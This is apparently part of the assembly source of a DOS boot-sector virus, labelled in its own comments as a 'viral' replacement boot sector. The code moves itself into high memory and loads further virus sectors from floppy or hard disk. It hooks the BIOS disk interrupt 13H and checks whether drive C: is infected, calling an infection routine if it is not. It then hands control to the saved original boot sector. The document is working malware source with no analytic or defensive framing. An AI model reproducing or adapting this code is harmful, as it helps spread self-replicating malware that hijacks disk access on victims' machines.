- ORG 7A00H
-
- SCRATCHBUF: ;a total of 512 bytes
- DB 3 dup (0)
- SB_BOOT_DATA: ;with references to correspond
- DB 32H dup (0) ;to various areas in the boot
- SB_DR_FLAG: ;sector at 7C00
- DB 0 ;these are only needed by A86
- SB_BOOT: ;tasm and masm will let you
- DB 458 dup (0) ;just do "db 512 dup (0)"
-
-
- ;*******************************************************************************
- ;* THIS IS THE REPLACEMENT (VIRAL) BOOT SECTOR *
- ;*******************************************************************************
-
- ORG 7C00H ;Starting location for boot sec
-
-
- BOOT_START:
- jmp SHORT BOOT ;jump over data area
- db 090H ;an extra byte for near jump
-
-
- BOOT_DATA:
- db 32H dup (?) ;data area and default dbt
- ;(copied from orig boot sector)
-
- DR_FLAG:DB 0 ;Drive type flag, 0=360K Floppy
- ; 1=1.2M Floppy
- ; 2=720K Floppy
- ; 3=1.4M Floppy
- ; 80H=Hard Disk
-
- ;The boot sector code starts here
- BOOT:
- cli ;interrupts off
- xor ax,ax
- mov ss,ax
- mov ds,ax
- mov es,ax ;set up segment registers
- mov sp,OFFSET BOOT_START ;and stack pointer
- sti
-
- mov ax,[MEMSIZE] ;get size of memory available
- mov cl,6 ;on this system, in Kilobytes
- shl ax,cl ;convert KBytes into a segment
- sub ax,7E0H ;subtract enough so this code
- mov es,ax ;will have the right offset to
- sub [MEMSIZE],4 ;go memory resident in high ram
-
- GO_RELOC:
- mov si,OFFSET BOOT_START ;set up ds:si and es:di in order
- mov di,si ;to relocate this code
- mov cx,256 ;to high memory
- rep movsw ;and go move this sector
- push es
- mov ax,OFFSET RELOC
- push ax ;push new far @RELOC onto stack
- retf ;and go there with retf
-
- RELOC: ;now we're in high memory
- push es ;so let's install the virus
- pop ds
- mov bx,OFFSET STEALTH ;set up buffer to read virus
- mov al,BYTE PTR [DR_FLAG] ;drive number
- cmp al,0 ;Load from proper drive type
- jz LOAD_360
- cmp al,1
- jz LOAD_12M
- cmp al,2
- jz LOAD_720
- cmp al,3
- jz LOAD_14M ;if none of the above,
- ;then it's a hard disk
-
- LOAD_HARD: ;load virus from hard disk
- mov dx,80H ;hard drive 80H, head 0,
- mov ch,0 ;track 0,
- mov cl,2 ;start at sector 2
- jmp SHORT LOAD1
-
- LOAD_360: ;load virus from 360 K floppy
- mov ch,40 ;track 40
- mov cl,1 ;start at sector 1
- jmp SHORT LOAD
-
- LOAD_12M: ;load virus from 1.2 Meg floppy
- mov ch,80 ;track 80
- mov cl,1 ;start at sector 1
- jmp SHORT LOAD
-
- LOAD_720: ;load virus from 720K floppy
- mov ch,79 ;track 79
- mov cl,4 ;start at sector 4
- jmp SHORT LOAD ;go do it
-
- LOAD_14M: ;load from 1.44 Meg floppy
- mov ch,79 ;track 79
- mov cl,13 ;start at sector 13
- ; jmp SHORT LOAD ;go do it
-
- LOAD: mov dx,100H ;disk 0, head 1
- LOAD1: mov ax,206H ;read 6 sectors
- int 13H ;call BIOS to read it
-
- MOVE_OLD_BS:
- xor ax,ax ;now move old boot sector into
- mov es,ax ;low memory
- mov si,OFFSET SCRATCHBUF ;at 0000:7C00
- mov di,OFFSET BOOT_START
- mov cx,256
- rep movsw
-
- SET_SEGMENTS: ;change segments around a bit
- cli
- mov ax,cs
- mov ss,ax
- mov sp,OFFSET STEALTH ;set up the stack for the virus
- push cs ;and also the es register
- pop es
-
- INSTALL_INT13H: ;now hook the Disk BIOS int
- xor ax,ax
- mov ds,ax
- mov si,13H*4 ;save the old int 13H vector
- mov di,OFFSET OLD_13H
- movsw
- movsw
- mov ax,OFFSET INT_13H ;and set up new interrupt 13H
- mov bx,13H*4 ;which everybody will have to
- mov ds:[bx],ax ;use from now on
- mov ax,es
- mov ds:[bx+2],ax
- sti
-
- CHECK_DRIVE:
- push cs ;set ds to point here now
- pop ds
- cmp BYTE PTR [DR_FLAG],80H ;if booting from a hard drive,
- jz DONE ;nothing else needed at boot
-
- FLOPPY_DISK: ;if loading from a floppy drive,
- call IS_HARD_THERE ;see if a hard disk exists here
- jz DONE ;no hard disk, all done booting
- mov al,80H ;else load boot sector from C:
- call GET_BOOT_SEC ;into SCRATCHBUF
- call IS_VBS ;and see if C: is infected
- jz DONE ;yes, all done booting
- call INFECT_HARD ;else go infect hard drive C:
-
- DONE:
- mov si,OFFSET PART ;clean partition data out of
- mov di,OFFSET PART+1 ;memory image of boot sector
- mov cx,3FH ;so it doesn't get spread to
- mov BYTE PTR [si],0 ;floppies when we infect them
- rep movsb
-
- xor ax,ax ;now go execute old boot sector
- push ax ;at 0000:7C00
- mov ax,OFFSET BOOT_START
- push ax
- retf
-
-
- ORG 7DBEH
-
- PART: DB 40H dup (?) ;partition table goes here
-
- ORG 7DFEH
-
- DB 55H,0AAH ;boot sector ID goes here
-
- ENDCODE: ;label for the end of boot sec
-
- COMSEG ENDS
-
- END START
-